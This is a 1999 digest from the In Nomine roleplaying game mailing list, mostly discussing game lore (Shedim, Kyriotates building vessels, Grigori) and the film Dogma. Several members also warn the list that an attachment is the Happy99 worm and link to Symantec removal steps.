1999 7:20 AM Subject: Re: IN> Dogma (Semi-Spoilers) ------------------------------ Date: Fri, 10 Dec 1999 05:39:19 PST From: "Jo Hart" Subject: Re: IN> Dogma (Semi-Spoilers) If you picked up the virus, you can get rid of it here: http://www.symantec.com/avcenter/venc/data/happy99.worm.html ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ------------------------------ Date: Fri, 10 Dec 1999 12:00:50 -0400 From: Douglas Muir Subject: IN> Missing post? H'm. Last night I posted a long (40k+) scenario to the list. It was called "The Soul of a New Machine", and was bout the creation of an AI. Did this just vanish into the ether? Is there a size limit on posts? Should I try again? Doug M. ------------------------------ Date: Fri, 10 Dec 1999 11:27:48 -0600 From: "Prodigal" Subject: Re: IN> Dogma (Semi-Spoilers) NOBODY OPEN THAT ATTACHMENT FROM GREGORY!!! This Happy99.exe program is a particularly annoying Worm program that will, if you run it, rewrite one of the files used to send email, and then start sending copies of itself to anybody you send email to. It can also crash your email client if you try sending email with attachments. The following website has the steps needed to get rid of Happy99, if you have already run it (especially Gregory, so you can clean it off your system): http://www.symantec.com/avcenter/venc/data/happy99.worm.html Remeber: If you get a program named Happy99.exe attached to an email, DO NOT RUN IT! - ----- Original Message ----- From: "Gregory Gietzen" Sent: Friday, December 10, 1999 7:20 AM Subject: Re: IN> Dogma (Semi-Spoilers) ------------------------------ Date: Fri, 10 Dec 1999 11:32:46 -0600 From: "Prodigal" Subject: Re: IN> Ignore my attachment! From: "Gregory Gietzen" > Okay, I don't know why my e-mail chose to include an attachement with the > last message. That's the way Happy99 works (annoying little bugger, innit?) The way it does this is to monitor all outgoing email traffic, and then send a second message with the same subject line, but with Happy99 attached to it. It's easy to get rid of, thankfully. Once again, the steps are at http://www.symantec.com/avcenter/venc/data/happy99.worm.html ------------------------------ Date: Fri, 10 Dec 1999 12:49:46 -0500 From: Earl Wajenberg Subject: Re: IN> What Demons are Really After Neel Krishnaswami wrote: > I still think the Shedim's main problem is bad PR, mostly, since I > don't think that the evil that they do is substantially worse than > anyone who is self-centered and basically insensitive to others does. But I thought Shedim had to make their host a little worse every day. In that cast, the least morally objectionable Shedim must also keep moving rapidly. Earl ------------------------------ Date: Fri, 10 Dec 1999 13:10:59 -0500 From: Walter Milliken Subject: Re: IN> Kyriotates of Stone At 21:38 -0500 12/9/99, Diane J Donaldson wrote: >p. 18: "It's said only Superiors can create a vessel, but this isn't >precisely true -- anyone can learn how to do it. All you need is enough >Essence, and corporeal matter to animate...What's really difficult, >though, is breathing life into the creation...Furthermore, only a Superior >can attach a celestial to a vessel...even if a celestial somehow gathers >enough Essence, and creates a suitable vessel, he will still need a >Superior to complete the final steps." But it takes enough Essence *all at once* to do it, which is why only Superiors and ethereals (who have a special Essence pool for this) can normally do it at all; in Limbo, apparently Essence can't drain off into the Symphony, so this is the only place that "normal" celestials can manage the trick -- and there, they *can* attach themselves to the vessel they create. This GMG text also suggests that a regular celestial might be able to create a *really* wimpy vessel with only their own Essence, and maybe a reliquary. I don't think I like the notion of celestials being able to create apparently-living creatures this way.... Though the "breathing life" part may be a special Song (perhaps one of the forbidden Creation ones?). >I thought it would be rather interesting to let a Kyrio with Stone's >attunement, as well as Artistry (Sculpture), carve its own vessel over a >few months of between-adventures time. Then, when it's done, the Kyrio >can call on David and ask for it to be animated and attached. There's certainly nothing non-canon in this notion that I can see, to this point. It basically boils down to "angel makes a neat sculpture; angel asks Superior to make it into a vessel for him." Seems perfectly reasonable to me. > Stone seems >particularly suited to using a little Essence at a time to create a >vessel. Maybe, though you can't perform a Song a little at a time, and come back and work on it later. (Artifacts, though....) For some reason, making a vessel feels more Song-like to me; perhaps because the Limbo rules require you save up Essence and use it all at once. > I mean, if it was regular flesh and blood, you would have to keep >all those body parts in your refrigerator while you worked on it over a >long period of time. ("Hey, what's in the Tupperware?" "LEAVE THAT >ALONE!") Why do I get this image of Vapula and a walk-in freezer in Hell labeled "Spare Vessel Parts"...? - ---Walter ------------------------------ Date: Fri, 10 Dec 1999 12:16:06 -0700 From: Tim Groth Subject: Re: IN> Kyriotates of Stone Maybe the attaching to a vessel problem simply from the fact that celestials below Superior level can't manipulate Forces well, if a Superior can createa celestial they can craft a solid construct of essence to them. While Ethereals, being built with the ability to become corporeal have it as a natural extension (which is why their really itchy to get to earth, their built to be able to go down and visit). Since its a special essence cache any vessel produced with it is produced within their Forces, while if a celestial produces a vessel its outside of their Forces. Timothy, Angel of Rambling If you have a hankering for waffles or chicken i know the place for you: http://d106-h032.rh.rit.edu/~tim/ ------------------------------ Date: Fri, 10 Dec 1999 14:26:58 -0800 From: graveyard@cstone.net (Graveyard Greg) Subject: Re: IN> Dogma >> Bartleby, Outcast Elohite of Dominic > >I prefer him as a Grigori. That would be yet another reason why he got Loki >kicked out of Heaven, after all. *g* > And besides, in DOGMA, it said Bartleby was a Grigori! Speaking of Grigori, when will we get more info on them? Graveyard Greg ------------------------------ Date: Fri, 10 Dec 1999 19:47:23 -0000 From: "Liam Astley" Subject: Re: IN> What Demons are Really After From: Neel Krishnaswami > Why is everyone so down on the Shedim? They aren't particularly worse > than most people, and certainly aren't worse than most of the other IN > demonic bands. do most people have it *built in* to their nature that they have to try and ruin someone's life every day? i don't think so. i'm not saying that shedim are automatically more evil than other bands, i'm sure most demons do a fine job of being just as nasty. it's just that the discussion in particular was about the fact that demons weren't necessarily evil, the argument being that most of them are just selfish. so i was pointing out that shedim *have* to be evil (at least while they're on earth, anyway) liam ------------------------------ End of in_nomine-digest V1 #1455 ******************************** The material here is (C) 1999 Steve Jackson Games, Incorporated. All rights reserved.